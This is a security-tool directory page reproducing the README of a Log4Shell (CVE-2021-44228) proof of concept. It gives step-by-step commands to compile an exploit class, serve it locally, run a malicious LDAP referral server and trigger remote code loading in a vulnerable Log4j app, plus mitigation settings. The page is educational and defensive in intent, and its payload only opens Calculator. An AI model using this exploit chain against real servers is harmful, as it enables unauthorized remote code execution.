Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/sunnyvale-it/cve-2021-44228-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubsunnyvale-it/cve-2021-44228-poc

CVE-2021-44228-PoC

CVE-2021-44228 (Log4Shell) Proof of Concept

View Repository
85344 years agoNot yet reviewed
Share

CVE-2021-44228 (Log4Shell) Proof of Concept

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

To help customers understand how this flaw works, we prepared this repo with a simple yet working Proof of Concept.

Prerequisites

Having installed locally:

  • Git
  • JDK 11
  • Maven
  • Python

At the moment, the arbitrary code launches the Calculator application on macOS or Windows, so only those two operating systems are supported by this PoC.

Disclaimer

All informations and code are provided solely for educational purposes and/or testing your own systems for this vulnerability.

The attack tecnique

This PoC resemble the described in the picture below (credits GovCERT.ch), a part from the vulnerable server that is just a simple Java class for the sake of simplicity. It's important to understand that this vulnerability may be triggered in various ways, what is described below is just one of them.

How to run the PoC

Clone this repo

terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git

Compile the exploit (using JDK 11)

terminal1 $ javac Exploit.java

Run an HTTP server to serve the exploit

terminal1 $ python -m SimpleHTTPServer 8888 --directory .

Start the malicious LDAPRefServer (thanks to https://github.com/mbechler/marshalsec)

terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Launch the buggy application (containing log4j 2.14.1)

terminal3 $ mvn package && mvn exec:exec

If everything went fine, the Calculator application (arbitrary code execution) should pop-up

Quick mitigations (work on Log4J versions 2.10.0 up to 2.14.1)

Set the LOG4J_FORMAT_MSG_NO_LOOKUPS env variable to true

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 
terminal3 $ mvn package && mvn exec:exec

In this case the Calculator shouldn't pop-up anymore

Run the application with log4j2.formatMsgNoLookups System property set to true

terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true

In this case the Calculator shouldn't pop-up anymore

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →